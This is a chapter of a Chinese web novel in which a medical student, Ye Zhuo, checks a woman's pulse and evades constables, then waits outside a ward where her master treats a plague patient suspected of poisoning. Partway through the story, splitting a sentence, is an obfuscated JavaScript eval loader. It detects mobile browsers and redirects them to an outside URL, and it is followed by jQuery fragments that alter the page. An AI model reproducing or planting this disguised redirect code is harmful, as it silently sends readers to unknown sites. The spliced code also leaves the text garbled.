叶灼使劲甩头，摆脱混乱的思绪：“子钦姐姐，你伸一只手来可好？”


    “伸手？”琴子钦不解，“做什么？”


    “我家姑娘是太医署学子，懂得摸脉。”晴儿扬起下巴，“她要你伸手，自是要查你的脉象了。”


    琴子钦下意识后退几步，手腕往袖中缩了缩。


    “你就别忸怩了，让我家姑娘瞧瞧，也好让大家安心啊。”晴儿双手抱臂，微眯起眼，“你该不会是心虚吧？”


    “我……我没有。”


    见她面露警惕，许是有猫腻。叶灼小心翼翼凑近，“子钦姐姐，职责所需，我须得确保你没有染病。”


    琴子钦退无可退，别过身去，刻意避免视线交锋。


    “你是怕我拿你报官？”叶灼摇了摇头，“姐姐请放心，来京一趟不易，若你并无大碍，我不会为难你的。”


    只听得巷子那头传来一阵躁动，脚步声层层迭起，以迅雷不及掩耳之势袭来。有人高喊：“官衙的抓人来了！”小贩们即刻推车收摊，作鸟兽散。


    几颗白瓜车轱辘似地滚至脚边，被人群踩得稀碎。


    “不好，是刚刚那些衙役。”


    不等琴子钦反应，叶灼飞快将三指覆于她寸口，屏息凝神。


    那只手臂明显抖了一下。叶灼在她身上来回扫视了几次，琴子钦长睫扑簌着，蝶翼般轻轻扇动，连带脉象都有些急。


    分明是常人的平脉，为何她看起来这样紧张呢？


    片刻后，叶灼松开手，道：“可以了。”


    晴儿这才放下些防备，琴子钦亦是舒了口气。


    “我和晴儿作掩护，趁他们还没注意，你快走吧。”


    “姑娘二次相救，子钦感激不尽，只是还不知道姑娘姓名……”


    “我叫叶灼。报恩什么的就不必了，帮你是我自己的决定。”


    琴子钦掩紧面纱，最后望了眼挡在身前的背影。面对这陌生的好意，鼻尖有些微微发酸。


    “……谢谢。”她轻声喃了句。


    衙役们一阵风似的呼过，琴子钦已然不知去向。叶灼拉晴儿躲进巷旁的板车下，侥幸逃过一劫。


    回去这一路，二人全然没有了心思闲逛。


    叶灼脚步片刻未停，晴儿一路小跑气喘吁吁：“姑娘，人家说什么你就信什么，万一她是信口胡诌呢？”


    “她既未染病，身上又没有携带武器，一时半会没什么要紧。我们既知晓她的身份，找她也容易。况且若不是她，我们何以得知岐州的消息？”


    “您这多管闲事的爱好，什么时候能改改……”


    “你爱跟就跟不跟就回去。”


    “哎，等等我！”


    刚到太医署，叶灼到府库拿了些黄蜡，直奔适才上课的癸殿。身后的晴儿早就跟没了影。


    “师父！”她火急火燎闯入，“你要的黄蜡，我带回——”


    刚踏进殿，登时蒙圈。


    可容百人的大殿内，针灸用的人偶、教具散落满地。分明还没到放课时间，同窗们不见了，师父也不见了，不知道的，还以为这里刚刚被洗劫一空。


    “人呢？”叶灼放下瓶罐，举目四顾。


    正巧见一男子经过门前，脚步匆匆往壬殿方向去。


    叶灼赶忙追上去：“陈登师兄！”


    此人名唤陈登，长她一级。为人勤恳老实，时常被沈博士点名办事。因为与介师姐是同窗，叶灼对他有些印象。


    “是叶师妹啊，怎么了？”


    叶灼直奔主题：“师父去哪儿了？”


    “叶少卿正在尚药局。今日江学官自岐州归来，不小心染了瘟疫。”


    叶灼心头一惊，“严重么？”


    “这个么……挺严重的。”


    “那同行的医工呢？”


    “这个么……”


    “别这个那个了，你快说啊！”叶灼逮住他追问。


    “叶少卿、叶少卿让我暂时不要外传。”陈登被她摇得眼冒金星，转而又道：“不过你是他的徒弟，应该不算别人……”


    叶灼用力点几下头，松开衣领。


    陈登抹了把汗，拿她没办法：“我说与你听，可别到处宣扬。”


    “放心吧师兄，我一定不说出去。”


    他于是左右张望一遭，附耳过来。


    “此次赴往岐州援灾，与江学官同行的百名医工，回来的只有十个。其余的……都死了。”


    “什么？！”


    “啧！你小点儿声。”


    叶灼不好意思地拍了拍嘴，惭赧致歉。


    看来琴子钦说的是真的，江师兄和百名医工去了都难以应付，岐州瘟疫定然十分严重。她咬着手指思虑片刻，旋即转身。


    “哎，叶师妹！”


    “怎么了？”


    “师兄劝你一句，你这会儿就算去了，也未必见得着人。”


    “为什么？”


    “尚药局这会儿围着一堆人呢，只有叶少卿和几个打下手的在里面，别人都进不去。此次瘟灾非同小可，没有十天半个月，估计是出不来。”


    “这我明白，多谢师兄。”她随手作揖，马不停蹄往尚药局方向去。


    陈登远远地楞头观望，怎么感觉她根本没听进去？算了算了，自己还要办正事，随她去罢。


    尚药局有专门用于安置患者的病坊，素日收纳宫人，依照病情危重程度，分为子、丑、寅、卯四个等级。


    叶灼沿路询问，得知江枫被安置于子殿。她对附近布局比较熟悉，没一会儿就找到了路。


    远远地听见一阵喧哗，两道熟悉的身影围在殿前。


    “痢疾怎么会咯血呢？！”介铃双手撑在阑干上，情绪似有些激动。


    叶灼挤进人群，“介师姐，瑶姐姐！”


    卫知瑶在一旁安慰，闻声转头，招呼她过来。


    “江师兄怎么样了？”叶灼急切发问。


    “江枫……江枫他……”介铃哽咽地说不出话，两眼红肿，看样子不久前哭过。


    叶灼又是担忧又是心疼，不知该说什么，只好攥紧她的手。


    “我们也不清楚。”卫知瑶表情凝重地道，“叶少卿还有温太医正在殿内望诊，目前还没有结果。”


    想来她们都已经知道瘟疫的事，自己来晚了一步。眼下除了干等，竟也没有别的办法。


    人群四散，围观者所剩无几。旁人大都只是来凑热闹，很快瞌睡的瞌睡，等不下的扫兴离去。


    唯独三人在心中暗暗祈祷。


    眼前屹立的大殿，不仅关系江枫的性命，也关乎那十名医工。他们或是别人的父母、孩子，或是谁的爱人，如今却被迫与家人分离，饱受病痛折磨。


    早在丹青阁时，叶灼数次从阎王爷手里抢人，见过太多生老病死。人命几斤几两，她比谁都要明白。


    虎口处传来柔软的触感。


    回过神，才发现卫知瑶覆上她的手，因为太过心焦如焚，手指不知何时搓破了皮。


    “叶少卿已经派人去通报沈博士了，相信不久便会补派人员去岐州。”


    知她言下之意是在安抚自己，叶灼黯淡点点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235812|172603||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头。


    突然“吱呀”一声，殿门中间缓缓错开条缝。


    “温太医，江枫怎么样了？”介铃问道。


    “暂时稳定下了。”温良戴着面罩、手衣，全副武装走出。解释道：“他得的不止是痢疾，而是并发感染了痨病，肺络受损所致的咯血。”


    “我能进去看看他么？”


    “病患康复前，任何人不得出入子殿。”


    温良面向人群，抬高了音量：“诸位不必惊慌，众博士午时于壬殿召开议会，商讨治理瘟灾之事，不久便会给出一个满意的交代。大家非必要不出京，注意防控即可。”


    然后又交代了一些注意事项，众人彼此间心领神会。叶灼有一句没一句听着，视线从他身上掠过，透过缝隙投射进殿。


    望眼欲穿地，努力寻找那人。


    殿门将阖之际，一道身影踱步而来，在门口同他说了些什么。尽管相隔数丈远，戴着与温太医相同的面罩，叶灼仍一眼认出他来。


    “师父……！”


    叶无声循声侧目。


    视线交错的刹那，两侧门缝收拢，于她的注视下一点点闭合。如同一根线被抽走，隔绝里外，褪尽他的轮廓。


    叶灼手心越攥越紧，似乎只要不转身，就能一直守到他再次出现。


    “以叶少卿的医术，江师兄很快会好起来的。”卫知瑶轻声道。


    叶灼微微点头，望向身侧。


    介铃手支着扶在杆上，失了魂般注视着大殿，动也不动一下。


    虽说以前时常听他们拌嘴，叶灼心中明白，介师姐其实很在乎江师兄。师兄去岐州这段时日，她面上不承认，可是连笑容都少了许多。


    “走吧。”叶灼拍拍她的肩，道：“会好起来的。”


    这般劝慰着她，亦是劝慰着自己。


    介铃最后望了一眼大殿，满眼不舍地离去。


    子殿内，天光自槛窗射入。


    江枫嘴唇干裂，双目紧闭，静卧于榻上。手臂自然垂落，一滩血红触目惊心。


    “叶少卿，话都带到了。”温良作揖道，“岐州的事，已经通知沈博士另做安排，配备您说的药物，并加派人员前往赈灾。”


    叶无声回过眸，眼底的黯然一闪而逝。


    “姜慈知晓内情么？”手起针落，刺破肌肤。


    “回叶少卿，不知。”


    叶无声递来一纸药方，然后道：“你派个人，去西市双茶口，找一家名叫杏林坊的铺子。把这个交给那里的掌柜，别的什么也不用说。”


    “杏林坊？从未听过有这么间药铺。”温良道，“为何不用咱们尚药局的药？”


    叶无声使了个眼色，示意他摊开药方。


    只见纸上零零碎碎写了十几种药材。名字大都稀奇古怪，有见过的有没见过的。为数不多知道名字的几种，竟是用于解毒的方剂。


    这些药，尚药局根本不可能有。


    温良抬眼望着他，持方的粗手剧烈颤抖。后半句他不确信，亦不敢说出。


    ——莫非江枫咯血是因为中毒，而非痨病？若真如此，那其他人会不会也……


    “过些时日，我会亲自赴往岐州一趟，确认你的猜想。”叶无声淡淡道，“此事悬而未决前，不宜引起恐慌。我离开的消息，还需一个人替我瞒着。”


    叶无声顿了顿，余光扫过他。


    “令郎的死并非意外，你一直想查清真相不是么？”


    “叶少卿的意思是……”


    “我可以给你这个权力。”叶无声落下最后一针，转过身来。